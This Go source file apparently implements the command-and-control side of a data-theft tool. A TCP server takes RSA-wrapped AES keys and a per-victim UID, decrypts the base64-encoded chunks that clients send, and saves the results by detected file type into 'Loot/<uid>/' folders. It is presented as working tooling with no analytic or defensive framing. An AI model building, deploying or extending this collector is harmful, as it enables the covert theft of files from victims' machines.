package main

import (
	"bufio"
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"strings"
	"fmt"
    "crypto/rsa"
    "crypto/x509"
    "encoding/pem"
    "io/ioutil"
	"log"
	"net"
	"github.com/liamg/magic"
	"os"
	"time"
)

func main() {
	host := "0.0.0.0"
	port := 8080

	privateKeyPath := "private_key.pem"

	// Load the private key from the PEM file

	privateKey, err := loadPrivateKeyFromPEM(privateKeyPath)
	if err != nil {
		fmt.Println("Error loading private key:", err)
		return
	}
	listener, err := net.Listen("tcp", fmt.Sprintf("%s:%d", host, port))
	if err != nil {
		log.Fatalf("Error listening: %v", err)
	}
	defer listener.Close()

	fmt.Printf("Server listening on %s:%d\n", host, port)

	for {
		conn, err := listener.Accept()
		if err != nil {
			log.Printf("Error accepting connection: %v", err)
			continue
		}

		go handleConnection(conn, privateKey)
	}
}

func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
    defer conn.Close()

    fmt.Println("Got conn")

    keyData, err := bufio.NewReader(conn).ReadString('\n')
    if err != nil {
        log.Printf("Error reading key: %v", err)
        return
    }

    key, _ := decryptKeyIV(keyData, privateKey)
    conn.Write([]byte("Received key\n"))

    ivData, _ := bufio.NewReader(conn).ReadString('\n')
    iv, _ := decryptKeyIV(ivData,privateKey)
    conn.Write([]byte("Received IV\n"))

    uidData, _ := bufio.NewReader(conn).ReadString('\n')
    uid, _ := decryptKeyIV(uidData,privateKey)
    conn.Write([]byte("Received UID\n"))

    var ciphertext []byte
    var chunk string
    var plaintext []byte

    for {
        chunk, err = bufio.NewReader(conn).ReadString('\n')
        if err != nil {
            log.Printf("Error reading chunk: %v", err)
            return
        }
        if strings.TrimSpace(chunk) == "END_OF_COMMUNICATION" {
            fmt.Println("Client ended communication")
            break
        }
        ciphertext, _ = base64.StdEncoding.DecodeString(strings.TrimSpace(chunk))

        plaintextChunk, err := decrypt(ciphertext, key, iv)
        if err != nil {
            log.Printf("Error decrypting chunk: %v", err)
            return
        }
        plaintext = append(plaintext, plaintextChunk...)

        conn.Write([]byte("Received and decrypted chunk\n"))
    }

    handleDecrypted(plaintext, uid)
    conn.Write([]byte("Ready for next operation\n"))
}




func decrypt(cipherText []byte, key []byte, iv []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}

	if len(cipherText) < aes.BlockSize {
		return nil, fmt.Errorf("ciphertext too short")
	}

	mode := cipher.NewCBCDecrypter(block, iv)
	mode.CryptBlocks(cipherText, cipherText)

	cipherText = PKCS5Unpadding(cipherText)

	return cipherText, nil
}

func PKCS5Unpadding(data []byte) []byte {
	length := len(data)
	unpadding := int(data[length-1])
	return data[:(length - unpadding)]
}

func decryptRSA(encryptedData []byte, privateKey *rsa.PrivateKey) ([]byte, error) {
    decryptedData, err := rsa.DecryptPKCS1v15(nil, privateKey, encryptedData)
    if err != nil {
        return nil, err
    }
    return decryptedData, nil
}

func loadPrivateKeyFromPEM(filePath string) (*rsa.PrivateKey, error) {
    // Read the PEM file
    pemData, err := ioutil.ReadFile(filePath)
    if err != nil {
        return nil, err
    }

    // Decode PEM data
    block, _ := pem.Decode(pemData)
    if block == nil {
        return nil, fmt.Errorf("failed to decode PEM data")
    }

    // Parse the key
    privateKey, err := x509.ParsePKCS8PrivateKey(block.Bytes)
    if err != nil {
        return nil, err
    }

    // Assert that the key is an RSA private key
    rsaPrivateKey, ok := privateKey.(*rsa.PrivateKey)
    if !ok {
        return nil, fmt.Errorf("not an RSA private key")
    }

    return rsaPrivateKey, nil
}

func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) {
    encryptedData, err := base64.StdEncoding.DecodeString(ed)
    if err != nil {
        return nil, err
    }

    decryptedMessage, err := decryptRSA(encryptedData, privateKey)
    if err != nil {
        fmt.Println("Error decrypting message:", err)
        return nil, err
    }
    decodedKey, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedMessage)))
    return decodedKey, err
}

func handleDecrypted(decryptedDataB []byte, uidB []byte){
	data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
	fileType, err := magic.Lookup(data)
    	if err != nil {
        	if err == magic.ErrUnknown {
	            	fmt.Println("File type is unknown")
        	}else{
        	    	panic(err)
        	}
    	}

	uid := strings.TrimSpace(string(uidB))
	folderPath := fmt.Sprintf("Loot/%s", uid)
	err = createFolderIfNotExists(folderPath)
	if err != nil {
		panic(err)
	}

	timestamp := time.Now().Unix()
	filename := fmt.Sprintf("%d.%s", timestamp, fileType.Extension)

	filePath := fmt.Sprintf("%s/%s", folderPath, filename)
	fmt.Println(filePath)
	err = saveFile(filePath, data)
	if err != nil {
		panic(err)
	}

	fmt.Printf("Got a %s from %s, saving to %s\n",fileType.Extension,uid,filePath)
}

func createFolderIfNotExists(folderPath string) error {
	_, err := os.Stat(folderPath)
	if os.IsNotExist(err) {
		err := os.MkdirAll(folderPath, 0755)
		if err != nil {
			return err
		}
	}
	return nil
}

func saveFile(filePath string, data []byte) error {
	err := ioutil.WriteFile(filePath, data, 0644)
	if err != nil {
		return err
	}
	return nil
}